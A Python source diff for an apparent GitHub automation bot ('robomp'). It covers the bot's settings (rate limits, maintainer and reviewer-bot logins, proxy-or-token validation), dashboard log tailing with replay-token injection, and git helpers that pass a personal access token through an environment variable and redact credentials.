rate_limit_window_seconds: float = Field(3600.0, alias="ROBOMP_RATE_LIMIT_WINDOW_SECONDS")
|
||||
rate_limit_default: int = Field(3, alias="ROBOMP_RATE_LIMIT_DEFAULT")
|
||||
rate_limit_contributor: int = Field(10, alias="ROBOMP_RATE_LIMIT_CONTRIBUTOR")
|
||||
rate_limit_unlimited_raw: str = Field("", alias="ROBOMP_RATE_LIMIT_UNLIMITED")
|
||||
# Logins (comma-separated, `@` prefix optional) whose `@bot_login`
|
||||
# mentions are treated as authoritative directives. These accounts also
|
||||
# bypass rate limiting regardless of `author_association`.
|
||||
maintainer_logins_raw: str = Field("", alias="ROBOMP_MAINTAINER_LOGINS")
|
||||
# Bot logins (e.g. chatgpt-codex-connector) whose comments/reviews are
|
||||
# treated as authoritative directives without requiring an `@bot` mention.
|
||||
# Comma-separated; `@` prefix optional.
|
||||
reviewer_bots_raw: str = Field("", alias="ROBOMP_REVIEWER_BOTS")
|
||||
|
||||
# Question auto-close. When the bot answers an issue classified as
|
||||
# `question`, the comment is suffixed with a 👎-to-keep-open prompt and a
|
||||
# row is scheduled in `pending_closures`. The scheduler closes the issue
|
||||
# after `question_autoclose_hours` unless the issue author downvoted the
|
||||
# comment, a human follow-up arrived, or the issue was closed externally.
|
||||
# Set `question_autoclose_enabled=False` (or hours <= 0) to disable.
|
||||
question_autoclose_enabled: bool = Field(True, alias="ROBOMP_QUESTION_AUTOCLOSE_ENABLED")
|
||||
question_autoclose_hours: float = Field(4.0, alias="ROBOMP_QUESTION_AUTOCLOSE_HOURS")
|
||||
question_autoclose_scan_seconds: float = Field(60.0, alias="ROBOMP_QUESTION_AUTOCLOSE_SCAN_SECONDS")
|
||||
|
||||
# pi-natives build-output cache. Hardlinks pre-built
|
||||
# `packages/natives/native/*.node` (and its companions) into new
|
||||
# workspaces keyed by the git tree-hashes of inputs that determine the
|
||||
# build output. Misses are captured automatically when a task that
|
||||
# finishes successfully has fresh artifacts. Disable to fall back to
|
||||
# per-workspace builds.
|
||||
natives_cache_enabled: bool = Field(True, alias="ROBOMP_NATIVES_CACHE_ENABLED")
|
||||
natives_cache_root: Path = Field(Path("/data/cache/pi-natives"), alias="ROBOMP_NATIVES_CACHE_ROOT")
|
||||
natives_cache_max_entries_per_repo: int = Field(8, alias="ROBOMP_NATIVES_CACHE_MAX_ENTRIES_PER_REPO")
|
||||
natives_cache_max_bytes: int = Field(4 * 1024**3, alias="ROBOMP_NATIVES_CACHE_MAX_BYTES")
|
||||
natives_cache_gc_interval_seconds: float = Field(3600.0, alias="ROBOMP_NATIVES_CACHE_GC_INTERVAL_SECONDS")
|
||||
|
||||
@field_validator("bot_login", mode="after")
|
||||
@classmethod
|
||||
def _require_bot_login(cls, value: str) -> str:
|
||||
cleaned = value.strip()
|
||||
if not cleaned:
|
||||
raise ValueError("ROBOMP_BOT_LOGIN must be a non-empty GitHub login")
|
||||
return cleaned
|
||||
|
||||
@field_validator("replay_token", mode="before")
|
||||
@classmethod
|
||||
def _blank_replay_disables(cls, value: object) -> object:
|
||||
# Treat empty/whitespace strings as 'disabled'. Without this, an empty
|
||||
# ROBOMP_REPLAY_TOKEN becomes SecretStr("") which the server would
|
||||
# happily compare against an empty X-Robomp-Replay-Token header.
|
||||
if isinstance(value, str) and not value.strip():
|
||||
return None
|
||||
if hasattr(value, "get_secret_value"):
|
||||
inner = value.get_secret_value() # type: ignore[attr-defined]
|
||||
if isinstance(inner, str) and not inner.strip():
|
||||
return None
|
||||
return value
|
||||
|
||||
@field_validator("github_token", mode="before")
|
||||
@classmethod
|
||||
def _blank_token_disables(cls, value: object) -> object:
|
||||
"""Treat empty/whitespace `GITHUB_TOKEN` as 'unset' so proxy-only
|
||||
deployments don't have to remove the env var."""
|
||||
if isinstance(value, str) and not value.strip():
|
||||
return None
|
||||
if hasattr(value, "get_secret_value"):
|
||||
inner = value.get_secret_value() # type: ignore[attr-defined]
|
||||
if isinstance(inner, str) and not inner.strip():
|
||||
return None
|
||||
return value
|
||||
|
||||
@field_validator("gh_proxy_url", mode="before")
|
||||
@classmethod
|
||||
def _blank_proxy_url_disables(cls, value: object) -> object:
|
||||
if isinstance(value, str) and not value.strip():
|
||||
return None
|
||||
return value
|
||||
|
||||
@field_validator("gh_proxy_hmac_key", mode="before")
|
||||
@classmethod
|
||||
def _blank_proxy_key_disables(cls, value: object) -> object:
|
||||
if isinstance(value, str) and not value.strip():
|
||||
return None
|
||||
if hasattr(value, "get_secret_value"):
|
||||
inner = value.get_secret_value() # type: ignore[attr-defined]
|
||||
if isinstance(inner, str) and not inner.strip():
|
||||
return None
|
||||
return value
|
||||
|
||||
@model_validator(mode="after")
|
||||
def _validate_proxy_or_pat(self) -> Settings:
|
||||
"""Enforce mutual exclusion between PAT and proxy mode.
|
||||
|
||||
- Both set → reject (silent fallback to direct GitHub would defeat
|
||||
the isolation goal).
|
||||
- Proxy URL set but no HMAC key (or vice versa) → reject (gh-proxy
|
||||
would either be unauthenticated or unreachable).
|
||||
- Neither set → also reject; SOMETHING needs to talk to GitHub.
|
||||
"""
|
||||
has_token = self.github_token is not None
|
||||
has_url = bool(self.gh_proxy_url)
|
||||
has_key = self.gh_proxy_hmac_key is not None
|
||||
if has_token and has_url:
|
||||
raise ValueError(
|
||||
"GITHUB_TOKEN and ROBOMP_GH_PROXY_URL are mutually exclusive — "
|
||||
"set ONE to choose between direct-PAT and gh-proxy modes."
|
||||
)
|
||||
if has_url != has_key:
|
||||
raise ValueError(
|
||||
"ROBOMP_GH_PROXY_URL and ROBOMP_GH_PROXY_HMAC_KEY must both be set together (or both empty)."
|
||||
)
|
||||
if not has_token and not has_url:
|
||||
raise ValueError(
|
||||
"no GitHub access configured: set GITHUB_TOKEN, or set "
|
||||
"ROBOMP_GH_PROXY_URL + ROBOMP_GH_PROXY_HMAC_KEY to use gh-proxy."
|
||||
)
|
||||
return self
|
||||
|
||||
@field_validator("repo_allowlist_raw", mode="before")
|
||||
@classmethod
|
||||
def _coerce_allowlist(cls, v: object) -> str:
|
||||
if v is None:
|
||||
return ""
|
||||
if isinstance(v, str):
|
||||
return v
|
||||
if isinstance(v, (list, tuple)):
|
||||
return ",".join(str(item) for item in v)
|
||||
return str(v)
|
||||
|
||||
@property
|
||||
def repo_allowlist(self) -> frozenset[str]:
|
||||
items = [piece.strip().lower() for piece in self.repo_allowlist_raw.split(",")]
|
||||
return frozenset(item for item in items if item)
|
||||
|
||||
@field_validator("rate_limit_unlimited_raw", mode="before")
|
||||
@classmethod
|
||||
def _coerce_unlimited(cls, v: object) -> str:
|
||||
if v is None:
|
||||
return ""
|
||||
if isinstance(v, str):
|
||||
return v
|
||||
if isinstance(v, (list, tuple)):
|
||||
return ",".join(str(item) for item in v)
|
||||
return str(v)
|
||||
|
||||
@property
|
||||
def rate_limit_unlimited(self) -> frozenset[str]:
|
||||
items = [piece.strip().lstrip("@").lower() for piece in self.rate_limit_unlimited_raw.split(",")]
|
||||
return frozenset(item for item in items if item)
|
||||
|
||||
@field_validator("maintainer_logins_raw", mode="before")
|
||||
@classmethod
|
||||
def _coerce_maintainers(cls, v: object) -> str:
|
||||
if v is None:
|
||||
return ""
|
||||
if isinstance(v, str):
|
||||
return v
|
||||
if isinstance(v, (list, tuple)):
|
||||
return ",".join(str(item) for item in v)
|
||||
return str(v)
|
||||
|
||||
@field_validator("reviewer_bots_raw", mode="before")
|
||||
@classmethod
|
||||
def _coerce_reviewer_bots(cls, v: object) -> str:
|
||||
if v is None:
|
||||
return ""
|
||||
if isinstance(v, str):
|
||||
return v
|
||||
if isinstance(v, (list, tuple)):
|
||||
return ",".join(str(item) for item in v)
|
||||
return str(v)
|
||||
|
||||
@property
|
||||
def reviewer_bots(self) -> frozenset[str]:
|
||||
items = [piece.strip().lstrip("@").lower() for piece in self.reviewer_bots_raw.split(",")]
|
||||
return frozenset(item for item in items if item)
|
||||
|
||||
@property
|
||||
def maintainer_logins(self) -> frozenset[str]:
|
||||
items = [piece.strip().lstrip("@").lower() for piece in self.maintainer_logins_raw.split(",")]
|
||||
return frozenset(item for item in items if item)
|
||||
|
||||
def allows(self, full_name: str) -> bool:
|
||||
return full_name.lower() in self.repo_allowlist
|
||||
|
||||
@property
|
||||
def model_pool(self) -> tuple[str, ...]:
|
||||
"""ROBOMP_MODEL may be a single id or a comma-separated list; this
|
||||
returns the parsed pool (always non-empty)."""
|
||||
items = [piece.strip() for piece in self.model.split(",") if piece.strip()]
|
||||
return tuple(items) or (self.model,)
|
||||
|
||||
def pick_model(self) -> str:
|
||||
"""Random selection from the pool (uniform). One-element pools return that one."""
|
||||
return random.choice(self.model_pool)
|
||||
|
||||
@property
|
||||
def resolved_author_name(self) -> str:
|
||||
"""Falls back to bot_login if ROBOMP_GIT_AUTHOR_NAME isn't set."""
|
||||
return (self.git_author_name or self.bot_login).strip()
|
||||
|
||||
def ensure_paths(self) -> None:
|
||||
for path in (self.workspace_root, self.sqlite_path.parent, self.log_dir):
|
||||
path.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
|
||||
@cache
|
||||
def get_settings() -> Settings:
|
||||
return Settings() # type: ignore[call-arg]
|
||||
|
||||
|
||||
def reset_settings_cache() -> None:
|
||||
"""Invalidate the cached settings (tests)."""
|
||||
get_settings.cache_clear()
|
||||
|
||||
|
||||
class _ProxyEnvLoader(BaseSettings):
|
||||
"""Minimal env loader for `python -m robomp.proxy serve`.
|
||||
|
||||
Validates only the fields the gh-proxy container actually needs
|
||||
(PAT, HMAC key, bind address, paths). Keeping this separate from the
|
||||
orchestrator-mode `Settings()` ctor avoids dragging in
|
||||
`_validate_proxy_or_pat` and friends, which would reject a perfectly
|
||||
valid proxy deployment (no webhook secret, no bot_login, no proxy URL)
|
||||
before `serve()` can give a specific error.
|
||||
"""
|
||||
|
||||
model_config = SettingsConfigDict(
|
||||
env_file=".env",
|
||||
env_file_encoding="utf-8",
|
||||
extra="ignore",
|
||||
case_sensitive=False,
|
||||
)
|
||||
|
||||
github_token: SecretStr = Field(..., alias="GITHUB_TOKEN")
|
||||
gh_proxy_hmac_key: SecretStr = Field(..., alias="ROBOMP_GH_PROXY_HMAC_KEY")
|
||||
gh_proxy_bind_host: str = Field("0.0.0.0", alias="ROBOMP_GH_PROXY_BIND_HOST")
|
||||
gh_proxy_bind_port: int = Field(8081, alias="ROBOMP_GH_PROXY_BIND_PORT")
|
||||
workspace_root: Path = Field(Path("./data/workspaces"), alias="ROBOMP_WORKSPACE_ROOT")
|
||||
log_dir: Path = Field(Path("./data/logs"), alias="ROBOMP_LOG_DIR")
|
||||
gh_proxy_max_body_bytes: int = Field(1 << 20, alias="ROBOMP_GH_PROXY_MAX_BODY_BYTES")
|
||||
gh_proxy_git_timeout_seconds: float = Field(60.0, alias="ROBOMP_GH_PROXY_GIT_TIMEOUT_SECONDS")
|
||||
|
||||
@field_validator("github_token", "gh_proxy_hmac_key", mode="before")
|
||||
@classmethod
|
||||
def _reject_blank(cls, value: object) -> object:
|
||||
if isinstance(value, str) and not value.strip():
|
||||
raise ValueError("must be a non-empty string")
|
||||
if hasattr(value, "get_secret_value"):
|
||||
inner = value.get_secret_value() # type: ignore[attr-defined]
|
||||
if isinstance(inner, str) and not inner.strip():
|
||||
raise ValueError("must be a non-empty string")
|
||||
return value
|
||||
|
||||
|
||||
def load_proxy_settings() -> Settings:
|
||||
"""Build a `Settings` instance suitable for the gh-proxy process.
|
||||
|
||||
Only the env vars the proxy actually consumes are required; the
|
||||
orchestrator-only fields (webhook secret, bot_login, …) are set to
|
||||
inert placeholders since `proxy.server` never reads them. Skips the
|
||||
`Settings()` cross-field validator (which presumes orchestrator
|
||||
semantics) by routing through `model_construct`.
|
||||
"""
|
||||
loader = _ProxyEnvLoader() # type: ignore[call-arg]
|
||||
return Settings.model_construct(
|
||||
github_token=loader.github_token,
|
||||
github_webhook_secret=SecretStr(""),
|
||||
bot_login="gh-proxy",
|
||||
git_author_email="gh-proxy@invalid",
|
||||
gh_proxy_url=None,
|
||||
gh_proxy_hmac_key=loader.gh_proxy_hmac_key,
|
||||
gh_proxy_bind_host=loader.gh_proxy_bind_host,
|
||||
gh_proxy_bind_port=loader.gh_proxy_bind_port,
|
||||
workspace_root=loader.workspace_root,
|
||||
log_dir=loader.log_dir,
|
||||
gh_proxy_max_body_bytes=loader.gh_proxy_max_body_bytes,
|
||||
gh_proxy_git_timeout_seconds=loader.gh_proxy_git_timeout_seconds,
|
||||
)
|
||||
@@ -0,0 +1,139 @@
|
||||
"""Status dashboard helpers: log tail + the static SPA served at `/`.
|
||||
|
||||
The HTML/JS/CSS live under `src/robomp/static/`, produced by the Vite build in
|
||||
`web/`. This module just locates the bundle, substitutes the per-instance
|
||||
config sentinel, and exposes a small API to the FastAPI app.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
from functools import cache
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
||||
# Tail at most this many bytes from the end of the log file. Caps work for any
|
||||
# `limit`, even pathologically large ones, on a multi-MB rotating file.
|
||||
_TAIL_MAX_BYTES = 2 * 1024 * 1024
|
||||
|
||||
# Sentinel literally embedded in the built `index.html`; replaced per-request
|
||||
# with a JSON config blob so the SPA can pick up the replay token.
|
||||
_CONFIG_SENTINEL = "__ROBOMP_CONFIG__"
|
||||
|
||||
_STATIC_DIR = Path(__file__).resolve().parent / "static"
|
||||
_INDEX_PATH = _STATIC_DIR / "index.html"
|
||||
|
||||
|
||||
def tail_jsonl(path: Path, *, limit: int) -> list[dict[str, Any]]:
|
||||
"""Return up to `limit` JSON log records from the tail of `path` (oldest first).
|
||||
|
||||
Lines that fail to parse are returned as `{"level": "RAW", "msg": <line>}`
|
||||
so a malformed final line never blanks the whole view.
|
||||
"""
|
||||
if limit <= 0 or not path.exists():
|
||||
return []
|
||||
|
||||
try:
|
||||
size = path.stat().st_size
|
||||
except OSError:
|
||||
return []
|
||||
if size == 0:
|
||||
return []
|
||||
|
||||
read_size = min(size, _TAIL_MAX_BYTES)
|
||||
with path.open("rb") as fh:
|
||||
fh.seek(size - read_size)
|
||||
chunk = fh.read(read_size)
|
||||
|
||||
# If we started mid-line, drop the partial leading line.
|
||||
if read_size < size:
|
||||
nl = chunk.find(b"\n")
|
||||
if nl == -1:
|
||||
return []
|
||||
chunk = chunk[nl + 1 :]
|
||||
|
||||
lines = chunk.splitlines()
|
||||
out: list[dict[str, Any]] = []
|
||||
for raw in lines[-limit:]:
|
||||
line = raw.strip()
|
||||
if not line:
|
||||
continue
|
||||
try:
|
||||
obj = json.loads(line)
|
||||
if isinstance(obj, dict):
|
||||
out.append(obj)
|
||||
continue
|
||||
except json.JSONDecodeError:
|
||||
pass
|
||||
out.append({"level": "RAW", "logger": "raw", "msg": line.decode("utf-8", errors="replace")})
|
||||
return out
|
||||
|
||||
|
||||
class DashboardBundleMissing(RuntimeError):
|
||||
"""Raised when the built frontend bundle is unavailable.
|
||||
|
||||
The dev workflow is `bun run web:build` (one-shot Bun + Vite build); the
|
||||
Docker image bakes the bundle in via the `web-builder` stage. Tests use a
|
||||
placeholder `index.html` written into the static dir by `conftest.py`,
|
||||
so this never fires in CI.
|
||||
"""
|
||||
|
||||
|
||||
def static_dir() -> Path:
|
||||
"""Filesystem path the FastAPI app mounts at `/static`.
|
||||
|
||||
Creates the directory lazily so a fresh checkout (or a runtime container
|
||||
that hasn't shipped the bundle yet) can still construct the app —
|
||||
`_load_index_template()` raises `DashboardBundleMissing` separately when
|
||||
the `index.html` itself is missing. Without this mkdir,
|
||||
`StaticFiles(directory=...)` would raise at app construction time and
|
||||
block every other route.
|
||||
"""
|
||||
_STATIC_DIR.mkdir(parents=True, exist_ok=True)
|
||||
return _STATIC_DIR
|
||||
|
||||
|
||||
@cache
|
||||
def _load_index_template() -> str:
|
||||
try:
|
||||
text = _INDEX_PATH.read_text(encoding="utf-8")
|
||||
except FileNotFoundError as exc: # pragma: no cover — repo ships the stub
|
||||
raise DashboardBundleMissing(f"frontend bundle missing at {_INDEX_PATH}; run `bun run web:build`") from exc
|
||||
if _CONFIG_SENTINEL not in text:
|
||||
raise DashboardBundleMissing(
|
||||
f"frontend bundle at {_INDEX_PATH} is missing the {_CONFIG_SENTINEL} sentinel; "
|
||||
"rebuild with `bun run web:build`"
|
||||
)
|
||||
return text
|
||||
|
||||
|
||||
def reset_index_cache() -> None:
|
||||
"""Drop the cached template. Called by tests that swap the static dir."""
|
||||
_load_index_template.cache_clear()
|
||||
|
||||
|
||||
def render_index(replay_token: str | None) -> str:
|
||||
"""Render the dashboard HTML with the server's replay token baked in.
|
||||
|
||||
The token lands inside a `<script type="application/json">` block that the
|
||||
page parses at startup and attaches to every privileged fetch. The user
|
||||
never sees or types it; the only credential to manage is the env var on
|
||||
the server itself.
|
||||
"""
|
||||
config = {
|
||||
"replayEnabled": bool(replay_token),
|
||||
"replayToken": replay_token or "",
|
||||
}
|
||||
# `</` would otherwise let an attacker-controlled token break out of the
|
||||
# script element; escape it the standard way.
|
||||
payload = json.dumps(config, separators=(",", ":")).replace("</", "<\\/")
|
||||
return _load_index_template().replace(_CONFIG_SENTINEL, payload)
|
||||
|
||||
|
||||
__all__ = [
|
||||
"DashboardBundleMissing",
|
||||
"render_index",
|
||||
"reset_index_cache",
|
||||
"static_dir",
|
||||
"tail_jsonl",
|
||||
]
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,568 @@
|
||||
"""Low-level git primitives with ephemeral PAT injection.
|
||||
|
||||
The PAT is supplied through `git --config-env=http.extraHeader=ENVVAR`. Git
|
||||
expands the env var inside the spawned process; the secret only appears in
|
||||
the spawned process's environment, never in argv visible to other UIDs via
|
||||
`/proc/<pid>/cmdline`. The env var is wiped from the parent after each call.
|
||||
|
||||
Used by:
|
||||
- `robomp.sandbox.LocalGitTransport` for in-process git operations when no
|
||||
proxy is configured.
|
||||
- `robomp.proxy.server` for proxied operations on the gh-proxy side.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import base64
|
||||
import logging
|
||||
import os
|
||||
import platform
|
||||
import re
|
||||
import subprocess
|
||||
from collections.abc import Mapping
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
from urllib.parse import urlparse
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# Per-call env var name. `git --config-env` reads the header value from this
|
||||
# env entry inside the spawned process — never persisted into `.git/config`.
|
||||
AUTH_ENV_VAR = "ROBOMP_GIT_HTTP_AUTH"
|
||||
|
||||
_CRED_URL = re.compile(r"(https?://)([^:/@\s]+):([^@/\s]+)@")
|
||||
_BAD_OBJECT_REF_RE = re.compile(
|
||||
r"(?:fatal: bad object (?P<bad>refs/[^\s]+)|error: (?P<invalid>refs/[^\s]+) does not point to a valid object!)"
|
||||
)
|
||||
_FETCH_PRUNE_REPAIR_ATTEMPTS = 8
|
||||
|
||||
_SHARED_OMP_GID = 2000
|
||||
_AGENT_HOME = Path("/srv/agent-home")
|
||||
|
||||
|
||||
def _slot_permissions_active(slot_uid: int | None) -> bool:
|
||||
return slot_uid is not None and platform.system() == "Linux" and os.geteuid() == 0
|
||||
|
||||
|
||||
def _slot_subprocess_kwargs(slot_uid: int | None) -> dict[str, Any]:
|
||||
if not _slot_permissions_active(slot_uid):
|
||||
return {}
|
||||
assert slot_uid is not None
|
||||
return {"user": slot_uid, "group": slot_uid, "extra_groups": [_SHARED_OMP_GID], "umask": 0o002}
|
||||
|
||||
|
||||
def _append_safe_directory(env: dict[str, str], repo_dir: Path) -> None:
|
||||
count = int(env.get("GIT_CONFIG_COUNT", "0"))
|
||||
env[f"GIT_CONFIG_KEY_{count}"] = "safe.directory"
|
||||
env[f"GIT_CONFIG_VALUE_{count}"] = str(repo_dir)
|
||||
env["GIT_CONFIG_COUNT"] = str(count + 1)
|
||||
|
||||
|
||||
def _local_remote_safe_directory(remote_url: str, *, cwd: Path) -> Path | None:
|
||||
"""Return a local filesystem remote path that git may need whitelisted."""
|
||||
raw = remote_url.strip()
|
||||
if not raw:
|
||||
return None
|
||||
if raw.startswith("file://"):
|
||||
parsed = urlparse(raw)
|
||||
if parsed.netloc not in ("", "localhost"):
|
||||
return None
|
||||
return Path(parsed.path)
|
||||
if "://" in raw or re.match(r"^[^/\\s]+:", raw):
|
||||
return None
|
||||
path = Path(raw)
|
||||
return path if path.is_absolute() else (cwd / path).resolve()
|
||||
|
||||
|
||||
def redact_credentials(text: str | None) -> str:
|
||||
"""Strip `user:password@` from any embedded URL in `text`."""
|
||||
if not text:
|
||||
return text or ""
|
||||
return _CRED_URL.sub(r"\1***@", text)
|
||||
|
||||
|
||||
def _redacted_cmd(cmd: list[str]) -> list[str]:
|
||||
return [redact_credentials(part) for part in cmd]
|
||||
|
||||
|
||||
class GitCommandError(RuntimeError):
|
||||
"""Wraps a failed git subprocess with credentials redacted from argv and stderr."""
|
||||
|
||||
def __init__(self, cmd: list[str], returncode: int, stdout: str, stderr: str) -> None:
|
||||
self.returncode = returncode
|
||||
self.stdout = redact_credentials(stdout)
|
||||
self.stderr = redact_credentials(stderr)
|
||||
self.cmd = _redacted_cmd(cmd)
|
||||
msg = self.stderr.strip() or self.stdout.strip() or f"exit {returncode}"
|
||||
super().__init__(f"git {' '.join(self.cmd[1:])} failed: {msg}")
|
||||
|
||||
|
||||
def _basic_auth_header(token: str) -> str:
|
||||
"""Build the `Authorization: Basic …` header value for a PAT.
|
||||
|
||||
GitHub accepts `x-access-token:<PAT>` over HTTPS Basic auth; that form
|
||||
works for fine-grained tokens, classic PATs, and GitHub App installation
|
||||
tokens alike.
|
||||
"""
|
||||
raw = f"x-access-token:{token}".encode()
|
||||
return f"Authorization: Basic {base64.b64encode(raw).decode('ascii')}"
|
||||
|
||||
|
||||
_DEFAULT_GIT_TIMEOUT_SECONDS = 120.0
|
||||
"""Hard wall-clock cap on any one `git` invocation. Overridable per-call.
|
||||
|
||||
A hung child (auth prompt, network stall, server-side packfile generation
|
||||
that never finishes) MUST NOT pin the calling thread forever — especially
|
||||
when the gh-proxy invokes `_run_git` from an executor and bounds its OWN
|
||||
wait via `asyncio.wait_for`. The asyncio bound returns control to the
|
||||
event loop, but only this `timeout=` + kill below frees the OS process.
|
||||
"""
|
||||
|
||||
|
||||
def _run_git(
|
||||
args: list[str],
|
||||
*,
|
||||
cwd: Path | None,
|
||||
token: str | None,
|
||||
extra_env: Mapping[str, str] | None = None,
|
||||
safe_directory: Path | None = None,
|
||||
user: int | None = None,
|
||||
group: int | None = None,
|
||||
extra_groups: list[int] | tuple[int, ...] | None = None,
|
||||
umask: int | None = None,
|
||||
timeout: float | None = None,
|
||||
) -> subprocess.CompletedProcess[str]:
|
||||
"""Run `git <args>` with optional PAT injection via `--config-env`.
|
||||
|
||||
A returncode of 0 returns the populated `CompletedProcess`. Non-zero exit
|
||||
returns the same shape; callers either `_check` it or inspect manually
|
||||
(e.g. when probing for ref existence). Stdout/stderr are always
|
||||
credential-redacted before being returned.
|
||||
|
||||
On `timeout` expiry the child (and any descendants spawned by git's
|
||||
helpers) is killed and `GitCommandError` is raised with a synthetic
|
||||
returncode (124, matching coreutils `timeout`). `None` uses
|
||||
`_DEFAULT_GIT_TIMEOUT_SECONDS`.
|
||||
"""
|
||||
env: dict[str, str] = {**os.environ, "GIT_TERMINAL_PROMPT": "0"}
|
||||
if user is not None and _AGENT_HOME.is_dir():
|
||||
env["HOME"] = str(_AGENT_HOME)
|
||||
if extra_env:
|
||||
env.update(extra_env)
|
||||
if safe_directory is not None:
|
||||
_append_safe_directory(env, safe_directory)
|
||||
|
||||
cmd: list[str] = ["git"]
|
||||
if token:
|
||||
env[AUTH_ENV_VAR] = _basic_auth_header(token)
|
||||
cmd.extend(["--config-env", f"http.extraHeader={AUTH_ENV_VAR}"])
|
||||
cmd.extend(args)
|
||||
log.debug("git", extra={"cmd": _redacted_cmd(cmd), "cwd": str(cwd) if cwd else None})
|
||||
effective_timeout = _DEFAULT_GIT_TIMEOUT_SECONDS if timeout is None else timeout
|
||||
subprocess_kwargs: dict[str, Any] = {}
|
||||
if user is not None:
|
||||
subprocess_kwargs["user"] = user
|
||||
if group is not None:
|
||||
subprocess_kwargs["group"] = group
|
||||
if extra_groups is not None:
|
||||
subprocess_kwargs["extra_groups"] = extra_groups
|
||||
if umask is not None:
|
||||
subprocess_kwargs["umask"] = umask
|
||||
try:
|
||||
proc = subprocess.run(
|
||||
cmd,
|
||||
cwd=str(cwd) if cwd else None,
|
||||
env=env,
|
||||
check=False,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=effective_timeout,
|
||||
**subprocess_kwargs,
|
||||
)
|
||||
except subprocess.TimeoutExpired as exc:
|
||||
# `subprocess.run` already kills the direct child when the timeout
|
||||
# fires, but we explicitly re-raise as `GitCommandError` so callers
|
||||
# don't have to special-case `TimeoutExpired` alongside the regular
|
||||
# non-zero-exit error path. 124 mirrors GNU `timeout`.
|
||||
stdout = redact_credentials(exc.stdout or "") if isinstance(exc.stdout, str) else ""
|
||||
stderr_msg = f"git timed out after {effective_timeout:.0f}s: {' '.join(_redacted_cmd(cmd))}"
|
||||
raise GitCommandError(cmd, 124, stdout, stderr_msg) from exc
|
||||
if proc.stdout:
|
||||
proc.stdout = redact_credentials(proc.stdout)
|
||||
if proc.stderr:
|
||||
proc.stderr = redact_credentials(proc.stderr)
|
||||
return proc
|
||||
|
||||
|
||||
def _check(proc: subprocess.CompletedProcess[str], cmd: list[str]) -> subprocess.CompletedProcess[str]:
|
||||
if proc.returncode != 0:
|
||||
raise GitCommandError(cmd, proc.returncode, proc.stdout, proc.stderr)
|
||||
return proc
|
||||
|
||||
|
||||
def _git_dir(repo_dir: Path) -> Path | None:
|
||||
dot_git = repo_dir / ".git"
|
||||
if dot_git.is_dir():
|
||||
return dot_git
|
||||
if dot_git.is_file():
|
||||
try:
|
||||
text = dot_git.read_text(encoding="utf-8").strip()
|
||||
except OSError:
|
||||
return None
|
||||
prefix = "gitdir:"
|
||||
if not text.startswith(prefix):
|
||||
return None
|
||||
git_dir = Path(text[len(prefix) :].strip())
|
||||
return git_dir if git_dir.is_absolute() else (repo_dir / git_dir).resolve()
|
||||
if (repo_dir / "HEAD").exists() and (repo_dir / "objects").is_dir():
|
||||
return repo_dir
|
||||
return None
|
||||
|
||||
|
||||
def _resolve_alternate_path(objects_dir: Path, raw: str) -> Path:
|
||||
path = Path(raw)
|
||||
if path.is_absolute():
|
||||
return path
|
||||
return (objects_dir / path).resolve()
|
||||
|
||||
|
||||
def _prune_missing_alternates(repo_dir: Path) -> bool:
|
||||
"""Drop object alternates that point at directories no longer mounted.
|
||||
|
||||
The bot never configures alternates for pool clones. If one leaks in from
|
||||
an external git invocation and points at a temp directory, every later
|
||||
fetch emits warnings and refs whose objects lived only there become
|
||||
unreadable. Removing the dead alternate lets the repair path below delete
|
||||
those broken refs and recover the pool without recloning it.
|
||||
"""
|
||||
git_dir = _git_dir(repo_dir)
|
||||
if git_dir is None:
|
||||
return False
|
||||
objects_dir = git_dir / "objects"
|
||||
alternates = objects_dir / "info" / "alternates"
|
||||
try:
|
||||
lines = alternates.read_text(encoding="utf-8").splitlines()
|
||||
except (OSError, UnicodeDecodeError):
|
||||
return False
|
||||
|
||||
kept: list[str] = []
|
||||
changed = False
|
||||
for line in lines:
|
||||
raw = line.strip()
|
||||
if not raw:
|
||||
changed = True
|
||||
continue
|
||||
if _resolve_alternate_path(objects_dir, raw).is_dir():
|
||||
kept.append(line)
|
||||
else:
|
||||
changed = True
|
||||
|
||||
if not changed:
|
||||
return False
|
||||
try:
|
||||
if kept:
|
||||
alternates.write_text("\n".join(kept) + "\n", encoding="utf-8")
|
||||
else:
|
||||
alternates.unlink()
|
||||
except OSError as exc:
|
||||
log.warning("failed to prune missing git alternates", extra={"repo_dir": str(repo_dir), "error": str(exc)})
|
||||
return False
|
||||
log.warning("pruned missing git alternates", extra={"repo_dir": str(repo_dir)})
|
||||
return True
|
||||
|
||||
|
||||
def _is_safe_ref_name(ref: str) -> bool:
|
||||
if not ref.startswith("refs/"):
|
||||
return False
|
||||
if any(ch in ref for ch in "\0\r\n\t "):
|
||||
return False
|
||||
return all(part not in ("", ".", "..") for part in ref.split("/"))
|
||||
|
||||
|
||||
def _bad_refs_from_fetch_output(output: str) -> tuple[str, ...]:
|
||||
refs: list[str] = []
|
||||
seen: set[str] = set()
|
||||
for match in _BAD_OBJECT_REF_RE.finditer(output):
|
||||
ref = match.group("bad") or match.group("invalid") or ""
|
||||
if ref in seen or not _is_safe_ref_name(ref):
|
||||
continue
|
||||
seen.add(ref)
|
||||
refs.append(ref)
|
||||
return tuple(refs)
|
||||
|
||||
|
||||
def _worktrees_holding_refs(repo_dir: Path, refs: tuple[str, ...]) -> dict[str, list[str]]:
|
||||
"""Map each ref in ``refs`` to the worktree paths whose ``HEAD`` is on it.
|
||||
|
||||
A worktree that has the soon-to-be-deleted branch checked out keeps a
|
||||
stale ``HEAD`` pointer after ``update-ref -d`` succeeds in the shared
|
||||
refs store. The next ``git fetch`` then re-reports the same "bad object"
|
||||
error because git inspects every worktree's ``HEAD`` for connectivity.
|
||||
Removing the offending worktree (or running ``git worktree remove
|
||||
--force`` on it) clears that pointer so the fetch can recover.
|
||||
"""
|
||||
if not refs:
|
||||
return {}
|
||||
proc = _run_git(["worktree", "list", "--porcelain"], cwd=repo_dir, token=None)
|
||||
if proc.returncode != 0:
|
||||
return {}
|
||||
refs_set = set(refs)
|
||||
by_ref: dict[str, list[str]] = {}
|
||||
current: dict[str, str] = {}
|
||||
|
||||
def _flush() -> None:
|
||||
branch = current.get("branch")
|
||||
path = current.get("worktree")
|
